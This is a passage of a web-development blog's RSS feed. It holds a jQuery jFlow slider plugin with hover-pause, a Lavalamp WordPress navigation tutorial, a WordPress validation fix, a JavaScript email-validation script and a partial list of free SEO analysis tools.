			$(jFS).css({

				position:&quot;relative&quot;,

				width: opts.width,

				height: opts.height,

				overflow: &quot;hidden&quot;

			});

			//opts.slides or #mySlides container

			$(opts.slides).css({

				position:&quot;relative&quot;,

				width: $(jFS).width()*$(jFC).length+&quot;px&quot;,

				height: $(jFS).height()+&quot;px&quot;,

				overflow: &quot;hidden&quot;

			});

			// jFlowSlideContainer

			$(opts.slides).children().css({

				position:&quot;relative&quot;,

				width: $(jFS).width()+&quot;px&quot;,

				height: $(jFS).height()+&quot;px&quot;,

				&quot;float&quot;:&quot;left&quot;,

				overflow:&quot;hidden&quot;

			});

			

			$(opts.slides).css({

				marginLeft: &quot;-&quot; + (cur * $(opts.slides).find(&quot;:eq(0)&quot;).width() + &quot;px&quot;)

			});

		}

		

		// sets initial size

		resize();



		// resets size

		$(window).resize(function(){

			resize();						  

		});

		

		$(opts.prev).click(function(){

			dotimer();

			doprev();

			

		});

		

		$(opts.next).click(function(){

			dotimer();

			donext();

			

		});

		

		var doprev = function (x){

			if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {

				var dur = 1;

				if (cur &gt; 0)

					cur--;

				else {

					cur = maxi -1;

					dur = cur;

				}

				$(jFC).removeClass(jSel);

				slide(dur,cur);

				$(jFC).eq(cur).addClass(jSel);

			}

		}

		

		var donext = function (x){

			if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {

				var dur = 1;

				if (cur &lt; maxi - 1)

					cur++;

				else {

					cur = 0;

					dur = maxi -1;

				}

				$(jFC).removeClass(jSel);

				//$(jFS).fadeOut(&quot;fast&quot;);

				slide(dur, cur);

				//$(jFS).fadeIn(&quot;fast&quot;);

				$(jFC).eq(cur).addClass(jSel);

			}

		}

		

		var dotimer = function (x){

			if((opts.auto) == true) {

				if(timer != null) 

					clearInterval(timer);

			    

        		timer = setInterval(function() {

	                	$(opts.next).click();

						}, 10000);
				

			}

		}



		dotimer();
//Pause/Resume at hover
		$(opts.slides).hover(
		function() {
		clearInterval(timer);
		},
		
		function() {
		dotimer();
		}
		);
	};

	

	$.fn.jFlow.defaults = {

		controller: &quot;.jFlowControl&quot;, // must be class, use . sign

		slideWrapper : &quot;#jFlowSlide&quot;, // must be id, use # sign

		selectedWrapper: &quot;jFlowSelected&quot;,  // just pure text, no sign

		auto: false,

		easing: &quot;swing&quot;,

		duration: 400,

		width: &quot;100%&quot;,

		prev: &quot;.jFlowPrev&quot;, // must be class, use . sign

		next: &quot;.jFlowNext&quot; // must be class, use . sign

	};

	

})(jQuery);


</pre>

[/inline]

<p><strong><a href="http://www.dlocc.com/downloads/jquery.flow.1.2.auto.pause.zip" title="Download Flow">jFlow Auto Slide with Pause Feature Download</a></strong></p>


<h3>Some Extra jFlow Stuff For Ya!</h3>

<strong>Tip:</strong> Notice how we added the code below the dotimer(); call on line 153 before the function's closing  "};"

[inline]

<pre class="brush: jscript;">

//Pause/Resume at hover
 $(opts.slides).hover(
 function() {
 clearInterval(timer);
 },

function() {
 dotimer();
 }
 );

</pre>

[/inline]



<p>Now when someone<strong> hovers over the slider </strong>area the time will not be going because the <strong>pause is on</strong>.  Once the mouse<strong> leaves the slider</strong> the timer resumes and your slider is <strong>not paused</strong>.</p>

<p>Extra <strong>jFlow Auto Hint:</strong> To increase the amount of time it takes to for the image to slide increase the following number:</p>

[inline]

<pre class="brush: jscript;">[/code]

var dotimer = function (x){

if((opts.auto) == true) {

if(timer != null)

clearInterval(timer);

timer = setInterval(function() {

$(opts.next).click();

}, 10000);

}

}
</pre>
<br  />
<strong>If you like this please comment below!  Problems?  Contact me or comment below!</strong>
]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/jflow-slider-auto-slider-with-pause-functionality/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>WordPress Lavalamp Navigation Tutorial</title>
		<link>http://www.dlocc.com/articles/wordpress-lavalamp-navigation-tutorial/</link>
		<comments>http://www.dlocc.com/articles/wordpress-lavalamp-navigation-tutorial/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 20:11:51 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Easing]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Lavalamp]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1723</guid>
		<description><![CDATA[Lavalamp is an awesome jQuery plug-in that makes really cool effects for WordPress-based menus and navigation links, and as a bonus it is very lightweight. It can be a bit tricky to implement in WordPress, but after you read this tutorial hopefully you'll be implementing it with ease. Follow along and let's get your site's [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/03/Lamp-steel-64.png" alt="jQuery, Lavalamp, Easing and WordPress" title="jQuery Lavalamp Icon" width="64" height="64" class="alignleft size-full wp-image-1735" />Lavalamp is an awesome jQuery plug-in that makes really cool effects for WordPress-based menus and navigation links, and as a bonus it is very lightweight.  It can be a bit tricky to implement in WordPress, but after you read this tutorial hopefully you'll be implementing it with ease.  Follow along and let's get your site's navigation using the jQuery lavalamp effect (super cool)!</p>
<span id="more-1723"></span>
<h2>jQuery, Lavalamp, Easing and WordPress</h2>
<p>Ok so if you haven't yet you're going to need to download all the appropriate scripts to make this work and have a WordPress site ready to work with.  I've provided download links at the bottom of this post for you or also you can get them here: <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery-1.4.1.min.js" title="jQuery Lavalamp Min Version">jQuery 1.4.1 min</a></b>, <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.lavalamp.min.js" title="jQuery Lavalamp Lavalamp">jQuery Lavalamp Plug-in</a></b>,  and <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.easing.min.js" title="jQuery Lavalamp Easing">jQuery Easing Plug-in</a></b>.  
<h2>Why Use Lavalamp jQuery Navigation?</h2>
<p>Because it's cool and increases user experience while still being very <b>SEO friendly</b> and <b>lightweight.</b> I personally use the lavalamp navigation on my portfolio website: <a href="http://www.devinwalker.net" title="jQuery Lavalamp on Devin Walker's Personal Website">Lavalamp Example 1</a>.  Also, I recently implemented it on another website I built and recently launched: <a href="http://www.socialachievement.com" title="jQuery Lavalamp on Social Achievement's Website">Lavalamp Example 2</a>.  As you can see the effect works well and is very user friendly.  Now, let's look in to how to make it work.</p>

<p>Here's the official website for the jQuery plug-in here: <a href="http://plugins.jquery.com/project/lavalamp2" title="jQuery Lavalamp on jQuery's Website">jQuery Lavalamp Plugin Page</a></p>

<p>To get started you must have WordPress installed on a web server and some knowledge of <b>web development</b>, <b>HTML</b>, and <b>jQuery</b>.  Ok, still ready? Now download the jQuery Easing Plug-in here: <a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.easing.min.js" title="jQuery Easing Plug-in">jQuery Easing Plug-in</a> and also download the jQuery Lavalamp Plug-in Here (min version): <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.lavalamp.min.js" title="jQuery Lavalamp Min Version">jQuery Lavalamp Plug-in</a></b></p>

<h3>Insert the following between the header tags</h3>
<p><em>Please note that my syntax highlighter has added some extra characters in the links.  You will want to change these links to either Google or your own hosted scripts anyways...</em></p>
[inline]
<pre class="brush: xml;">
&lt;!-- this is the code you're looking for here below for the lavalamp--&gt;
<script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery-1.4.1.min.js&quot;></script>
&lt;link rel=&quot;stylesheet&quot; href=&quot;http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/lavalamp.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&gt;
<script type=&quot;text/javascript&quot; src=&quot;path/to/jquerynav/jquery.easing.min.js&quot;></script>
<script type=&quot;text/javascript&quot; src=&quot;path/to/jquerynav/jquery.lavalamp.min.js&quot;></script>
&lt;!-- this script initiates the function change the #nav to your unordered list's ID --&gt;
<script type=&quot;text/javascript&quot;>
        $(function() {
            $(&quot;#nav&quot;).lavaLamp({ 
                fx: &quot;backout&quot;, 
                speed: 700,
                click: function(event, menuItem) {
                    return true;
                }
            });
        });
</script>
</pre>
[/inline]
<p>First, you will need to <b>change in header the src='path/to'</b> to a link to the appropriate path .  The WordPress file to put this code in is title header.php and can typically be found in this location: mydomain/wp-content/themes/mytheme/header.php.</p>

<p>Further explanation: the second script after calling on jQuery is the Easing plug-in that makes this effect real smooth.  The last script initiates the lavalamp function.  You will need to change the '#nav' to your unordered list's ID if you are not using the same naming convention as I am.</p>
<h3>Connecting to the WordPress Navigation</h3>
[inline] <pre class="brush: jscript;">
&lt;ul class=&quot;lavaLampBottomStyle&quot; id=&quot;nav&quot;&gt;
	 &lt;li&gt;&lt;a href=&quot;http://www.devinwalker.net&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;                
         &lt;li class=&quot;page_item page-item-2&quot;&gt;&lt;a href=&quot;http://www.devinwalker.net/about/&quot; title=&quot;About&quot;&gt;About&lt;/a&gt;&lt;/li&gt;
         &lt;li class=&quot;page_item page-item-3&quot;&gt;&lt;a href=&quot;http://www.devinwalker.net/hire-me/&quot; title=&quot;Hire Me&quot;&gt;Hire Me&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</pre> [/inline] 
<p>Connecting this effect to a WordPress dynamic navigation is easy.  Simply go into the header.php file and provide your navigational unordered list the appropriate class="LavaLampBottomStyle" naming and you're all set after you call on the appropriate scripts as mentioned above.   Just an FYI, if you have a lot of other jQuery effects on page it could cause some problems with them... just experiment around with it.  I've experienced minor issues, but nothing that's too hard to figure out (no roadblocks).</p>
[inline]
<script language="javascript" type="text/javascript" src="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery-1.4.1.min.js"></script>
<link rel="stylesheet" href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/lavalamp.css" type="text/css" media="screen" />
    <script type="text/javascript" src="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.easing.min.js"></script>
    <script type="text/javascript" src="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.lavalamp.min.js"></script>
    <script type="text/javascript">
        $(function() {
            $("#nav").lavaLamp({
                fx: "backout", 
                speed: 700,
                click: function(event, menuItem) {
                    return true;
                }
            });
        });
    </script>

<style>.main li{margin:0px;}</style>
<h3>Example Menu</h3>
<p>Below is an example of how this effect can be used anywhere on a site.  Here you can see I've implemented it directly into a WordPress page using inline code.  The links don't go anywhere for a reason, but they can easily be made to go anywhere you'd like.</p>

[/inline]
<ul id="nav" class="lavaLampBottomStyle" style="margin:40px 0 0;">
<li><a href="#" style="border-bottom:none;">Check</a></li>
<li><a href="#" style="border-bottom:none;">This</a></li>
<li><a href="#" style="border-bottom:none;">Out</a></li>
<li><a href="#" style="border-bottom:none;">Man</a></li>
</ul>

<p>As you can see this effect works well for site navigation, but can be used to create some other cool effects.  Please let me know if you have trouble with this tutorial, I've tried to explain everything to the best of my ability.  Leave a comment and <a href="http://www.dlocc.com/articles/feed/rss/" title="DLOCC RSS">subscribe to the RSS</a>!</p>

<h3>Resources for jQuery Scripts</h3>

<p>Download: <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery-1.4.1.min.js" title="jQuery Lavalamp Min Version">jQuery 1.4.1 min</a></b></p>

<p>Download: <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.lavalamp.min.js" title="jQuery Lavalamp Lavalamp">jQuery Lavalamp Plug-in</a></b></p>

<p>Download: <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.easing.min.js" title="jQuery Lavalamp Easing">jQuery Easing Plug-in</a></b></p>

<p>Download: <b><a href="http://www.devinwalker.net/wp-content/themes/devinwalker/jquerynav/jquery.lavalamp.min.js" title="jQuery Lavalamp Lavalamp">jQuery Lavalamp Plug-in</a></b></p>

]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/wordpress-lavalamp-navigation-tutorial/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress Fix: Attribute &#8220;role&#8221; is not a valid attribute</title>
		<link>http://www.dlocc.com/articles/wordpress-fix-attribute-role-is-not-a-valid-attribute/</link>
		<comments>http://www.dlocc.com/articles/wordpress-fix-attribute-role-is-not-a-valid-attribute/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 23:58:15 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[W3C]]></category>
		<category><![CDATA[W3C Validator]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=804</guid>
		<description><![CDATA[I like to design websites that are W3C Compliant.  Your WordPress theme may require some tweaking to be valid.  One error I kept receiving was: Attribute "role" is not a valid attribute. Did you mean "frameborder" or "scrolling"?  I will show you how to correct this error.  Simply put, to correct the error we are [...]]]></description>
			<content:encoded><![CDATA[<img class="alignleft size-full wp-image-805" style="margin-left: 5px; margin-right: 5px;" title="WordPress Icon" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/Inside-wordpress-64.png" alt="WordPress Icon" width="64" height="64" />I like to design websites that are <a title="W3C Markup Validator" href="http://validator.w3.org/" target="_blank">W3C Compliant</a>.  Your WordPress theme may require some tweaking to be valid.  One error I kept receiving was: <span><em>Attribute "role" is not a valid attribute. Did you mean "frameborder" or "scrolling"?  </em>I will show you how to correct this error.  </span>
<span id="more-804"></span>

 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* 468x15, created 12/4/09 */
google_ad_slot = "8358650032";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center> 
Simply put, to correct the error we are just going to remove the <em>role="search"</em> attribute from your theme's search form.  

<strong>1.</strong> Navigate to your theme folder within your WordPress directory.  

<strong>2.</strong> Open the file containing your search form in the theme.  It may be called "<strong>searchform.php</strong>" or something similar.

<strong>3.</strong> Remove the role="search" attribute and save.

[inline]
<pre class="brush: plain;">
&lt;form method=&quot;&quot; action=&quot;/”&gt;
&lt;input type=&quot;text&quot; value=&quot;” name=”s” id=”s” /&gt;
</pre>
[/inline]

Line 124:

<pre class="brush: xml;">$form = '&lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;' . get_option('home') . '/&quot; &gt;</pre>

Should now read:

<pre class="brush: xml;">$form = '&lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;' . get_option('home') . '/&quot; &gt;</pre>

<strong>4.</strong> Replace the file on your web server.

 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* DLOCC CONTENT NEW 468x60, created 10/12/09 */
google_ad_slot = "5878248027";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center> ]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/wordpress-fix-attribute-role-is-not-a-valid-attribute/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaScript Email Address Validation</title>
		<link>http://www.dlocc.com/articles/javascript-email-address-validation/</link>
		<comments>http://www.dlocc.com/articles/javascript-email-address-validation/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 22:58:45 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Form Validation]]></category>
		<category><![CDATA[Web Forms]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=776</guid>
		<description><![CDATA[JavaScript makes it easy to validate form fields such as the commonly used email address field.  For web designers trying to validate the email field, this simple script provided by Smart Webby works great.  I thought I'd pass this along, it can be used to easily validate the email field of your contact, comment, etc. [...]]]></description>
			<content:encoded><![CDATA[<img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/Email_Orange_64.png" alt="Email Verify" title="Email Verify" width="75" height="75" class="alignleft size-full wp-image-795" />JavaScript makes it easy to validate form fields such as the commonly used email address field.  For web designers trying to validate the email field, this simple script provided by Smart Webby works great.  I thought I'd pass this along, it can be used to easily validate the email field of your contact, comment, etc. forms.  Please let me know what you think or if you're having trouble.
<span id="more-776"></span>
<p><br  /></p>
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* DLOCC CONTENT NEW 468x60, created 10/12/09 */
google_ad_slot = "5878248027";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>
[inline]
<script language = "Javascript">
/**
 * DHTML email validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
 */

function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
	}

function ValidateForm(){
	var emailID=document.frmSample.Email
	
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please Enter your Email ID")
		emailID.focus()
		return false
	}
	if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	}
	return true
 }
</script>
[/inline]
<p><br  /></p>
To begin, here's a working example.  Enter an invalid email address and click submit.  You should see a JavaScript alert (the message can be customized).
<p><br  /></p>
<strong>Demonstration:</strong>
<p><br  /></p>
<form name="frmSample" method="post" action="#" onSubmit="return ValidateForm()">
<input id="Email" class="email" name="Email" type="text" /><input class="submit-button" name="submit" method="post" type="submit" value="Submit" /> 
<p><br  /></p>
</form><strong>How to implement in 2 steps:</strong>
<p><br  /></p>
<p><strong>First Step:</strong> Copy and paste this validation JavaScript into the HTML header tags of your page.</p>
<pre class="brush: jscript;">
&lt;script language = &quot;Javascript&quot;&gt;
/**
 * DHTML email validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
 */

function echeck(str) {

		var at=&quot;@&quot;
		var dot=&quot;.&quot;
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert(&quot;Invalid E-mail ID&quot;)
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert(&quot;Invalid E-mail ID&quot;)
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert(&quot;Invalid E-mail ID&quot;)
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert(&quot;Invalid E-mail ID&quot;)
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert(&quot;Invalid E-mail ID&quot;)
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert(&quot;Invalid E-mail ID&quot;)
		    return false
		 }
		
		 if (str.indexOf(&quot; &quot;)!=-1){
		    alert(&quot;Invalid E-mail ID&quot;)
		    return false
		 }

 		 return true					
	}

function ValidateForm(){
	var emailID=document.frmSample.txtEmail
	
	if ((emailID.value==null)||(emailID.value==&quot;&quot;)){
		alert(&quot;Please Enter your Email ID&quot;)
		emailID.focus()
		return false
	}
	if (echeck(emailID.value)==false){
		emailID.value=&quot;&quot;
		emailID.focus()
		return false
	}
	return true
 }
&lt;/script&gt;
</pre>
<p><br  /></p>
<p><strong>Step Two: </strong>Copy and paste the form code or modify yours to work with the code (or visa versa).</p>
<p><br  /></p>
<pre class="brush: xml;">
&lt;form name=&quot;frmSample&quot; method=&quot;post&quot; action=&quot;#&quot; onSubmit=&quot;return ValidateForm()&quot;&gt;
                &lt;p&gt;Enter an Email Address : 
                  &lt;input type=&quot;text&quot; name=&quot;txtEmail&quot;&gt;
                &lt;/p&gt;
                &lt;p&gt; 
                  &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Submit&quot;&gt;
                &lt;/p&gt;
              &lt;/form&gt;
</pre>
<p><br  /></p>
<p><strong>Please note:</strong> All credit goes to <a title="Smart Webby" href="http://www.smartwebby.com/" target="_blank">www.smartwebby.com</a> for writing this script. You can view the article <a title="Smart Webby Article" href="http://www.smartwebby.com/dhtml/email_validation.asp" target="_blank">here</a>.  You can also find a description of the code at that url.</p>
<p><br  /></p>
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* 468x15, created 12/4/09 */
google_ad_slot = "8358650032";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/javascript-email-address-validation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top-10 Free Website SEO Analysis Tools of 2009</title>
		<link>http://www.dlocc.com/articles/top-10-free-websiteblog-grader-seo-tools-of-2009/</link>
		<comments>http://www.dlocc.com/articles/top-10-free-websiteblog-grader-seo-tools-of-2009/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 00:40:47 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[Graphic Design]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Top-10]]></category>
		<category><![CDATA[Website Graders]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=699</guid>
		<description><![CDATA[There are many useful website graders available for free on the web.  You don't have to pay for quality tools, you just need to know where to look.  I've used plenty of SEO tools on my website, the key is to review the results objectively and compare the reports with one another. Some tools didn't make the top-10 list [...]]]></description>
			<content:encoded><![CDATA[<img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/1200613546.png" style="padding-bottom:25px;" alt="SEO Tools" title="SEO Tools" width="256" height="256" class="alignleft size-full wp-image-751" />
<p>There are many useful website graders available for free on the web.  You don't have to pay for quality tools, you just need to know where to look.  I've used plenty of SEO tools on my website, the key is to review the results objectively and compare the reports with one another.</p>
<p>Some tools didn't make the top-10 list and I've provided an explanation as to why not below each.  Please enjoy my top-10 list of website SEO analysis tools for 2009!  Hope you enjoy... please leave a comment.</p>
<span id="more-699"></span> 
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* 468x15, created 12/4/09 */
google_ad_slot = "8358650032";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>
<p><br /><br /></p>
<h3><strong>1. <a title="Google Analytics" href="http://www.google.com/analytics/">Google Analytics</a></strong></h3>
<a href="http://www.google.com/analytics/" style="border:none;"><img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/analytics_logo.gif" alt="Google Analytics" title="Google Analytics" width="207" height="40" class="alignnone size-full wp-image-1022" /></a>
<p><strong>Review:</strong> Every website should utilize <a href="http://www.google.com/analytics/">Google Analytics</a> to track visitors, review keywords, track adsense profits and more.  This tool is hands down the best out there and it's free.  Simply include a tracking script on your pages provided to you once you sign up and you're set.  Don't forget to filter out your own IP addresses for accurate reporting!</p>
<p></p>
<p>Overall Rating:<strong> 10/10</strong></p>

<p><br /><br /></p>
<h3><strong>2.</strong> <a title="Hubspot Website Grader" href="http://websitegrader.com/" target="_blank">Hubspot's Website Grader</a></span></strong></h3>
<a href="http://www.websitegrader.com" style="border:none;"><img style="padding-right:20px;" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/website-grader-logo-new.gif" alt="Website Grader Logo" title="Website Grader Logo" width="201" height="66" class="alignleft size-full wp-image-739" /></a>
<p><strong>Review:</strong> Hubspot generates comprehensive reports that weigh a variety of factors in calculating the final grade.  The factors include Google Page Rank,  website directory listings (DMOZ, Yahoo!), domain age, etc.</p>
<p><strong>My Site's Result:</strong></p>
[inline]
<script type="text/javascript">
/* WebsiteGrader.com Badge Settings */
var wsgApiKey = "5347e2da-02cc-4df8-8775-b31b6b7ab649";
var wsgStyle = 1;
/* END WebsiteGrader.com Badge Settings */
document.write('<div id="wsgContainer"></div>');wsgScript=document.createElement('script');wsgScript.type="text/javascript";wsgScript.src="http://static.hubspot.com/websiteGraderBadge/badge.js?t="+Math.random();setTimeout("document.getElementById('wsgContainer').appendChild(wsgScript);",1);
</script>
[/inline]
<p></p>
<p>Overall Rating:<strong> 9/10</strong></p>

<p><br /><br /></p>

<h3><strong>3. <a title="Alexa" href="http://www.alexa.com">Alexa</a></strong></h3>
<a href="http://www.alexa.com" style="border:none;"><img style="padding-right:20px;padding-bottom:20px;padding-top:20px;" class="alignleft size-full wp-image-723" title="Alexa" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/logo-button4.png" alt="Alexa" width="125" height="40" /></a>
<p><strong>Review: </strong>Provides more of a high-level overview of your site's rank  against their top-ranked sites.  If you're in the top 100,000 that's good news and you'll have more to view.  For me, perhaps one day I will be up there but for now it seems I've got to climb a few million.  Check them out, not sure they deserve the 2-rank, but the site is valuable.</p>
<p><strong>My Site's Result:</strong></p>
<p>[inline]
<script src="http://xslt.alexa.com/site_stats/js/s/a?url=www.dlocc.com" type="text/javascript"></script>
[/inline]</p>
<p>Overall Rating: <strong>8.5/10</strong></p>
<p><br /><br /></p>

<h3><strong>4. <a title="www.compete.com" href="http://www.compete.com/" target="_blank">Site Report Card</a></strong></h3>
<a href="http://www.compete.com" style="border:none;"><img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/logo.gif" style="padding-right:20px;" alt="Compete Logo" title="Compete Logo" width="221" height="50" class="alignleft size-full wp-image-770" /></a> 
<p><strong>Review: </strong>Compete is a very popular tool for webmasters and reminds me of Google Analytics.  You can view a lot of information without signing up, which is always a plus.  Although, if you want to embed a cool graph like you see below (only cool if you have a lot of visitors... unlike me) then you must register with the website.</p>
 <p><strong>My Site's Analytics Graph:</strong></p>
<a href='http://siteanalytics.compete.com/dlocc.com/?metric=uv'>
<p><br /></p>
<center><img src='http://grapher.compete.com/dlocc.com_uv_460.png' /></a></center>
<p><br /></p>
<p>Overall Rating: <strong>8/10</strong></p></center>
<p><br /></p>
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* DLOCC CONTENT NEW 468x60, created 10/12/09 */
google_ad_slot = "5878248027";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>

<p><br /><br /></p>

<h3><strong>5. <a title="quantcast" href="http://www.quantcast.com/" target="_blank">Quantcast</a></strong></h3>
<a href="http://www.quantcast.com" style="border:none;"><img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/logo_blue.png" alt="quantcast" title="quantcast" style="padding-right:20px;" width="190" height="40" class="alignleft size-full wp-image-861" /></a>
<p><strong>Review:</strong> Quantcast is an uncoming competitor to Alexa and provides good information about higher traffic sites.  Analysis includes traffic estimates, audience location and demographic as well as lifestyle.  Interesting analysis compared to some of the others.</p>
<p>Overall Rating: <strong>7.5/10</strong></p>

<p><br /><br /></p>

<h3><strong>6. <a title="BuildWith" href="http://www.builtwith.com/" target="_blank">BuiltWith</a></strong></h3>
<a href="http://www.builtwith.com" style="border:none;"><a href="http://www.dlocc.com/articles/top-10-free-websiteblog-grader-seo-tools-of-2009/"><img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/logoBig.png" style="padding-right:20px;" alt="BuiltWith Logo" title="BuiltWith Logo" width="233" height="70" class="alignleft size-full wp-image-856" /></a>
<p><strong>Review:</strong> BuildWith is becoming one of the more popular free analysis tools on the web.  Visitors can look up any site they wish and see detailed traffic, visitor and SEO analysis.  I like how they have a "Technology Profile" that shows your server info, tracking system, and frameworks used.  They don't give you the whole shebang for free, but you get to see quiet a lot of what BuiltWith has to offer.</p>
<p>Overall Rating: <strong>7/10</strong></p>

<p><br /><br /></p>

<h3><strong>7. <a title="Site Report Card" href="http://www.sitereportcard.com/" target="_blank">Site Report Card</a></strong></h3>
<a href="http://www.sitereportcard.com" style="border:none;"><img style="padding-right:20px;" class="alignleft size-full wp-image-721" title="Site Report Card" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/Site-Report-Card.png" alt="Site Report Card" width="310" height="125" /></a>
<p><strong>Review:</strong> Site Report Card is a legitimate tool that helps analyze links, meta tags, spelling, keywords and html.  Very in depth reports help you resolve the issues it finds.  Search engine analysis provides thorough link popularity reporting and search url index totals.</p>
<p></p>
<p>Overall Rating: <strong>6.5/10</strong></p>

